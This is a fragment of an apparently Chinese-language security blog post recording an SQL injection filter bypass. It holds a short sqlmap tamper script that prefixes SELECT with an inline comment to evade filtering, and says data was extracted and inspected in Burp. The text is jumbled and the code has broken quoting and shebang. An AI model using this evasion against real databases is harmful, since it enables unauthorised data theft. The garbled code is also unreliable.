命名为 select2select 放在sqlmap tamper 目录下面
成功注入出数据
去burp 查看语句
记录一次sql注入绕过
标签：select like xxx load net 数据 alt and png
记录一次sql注入绕过
!/usr/bin/env python
def tamper(payload, **kwargs):
retVal = payload
if ‘SELECT‘ in retVal:
retVal = retVal.replace(‘SELECT‘,‘/**/SELECT‘)
return retVal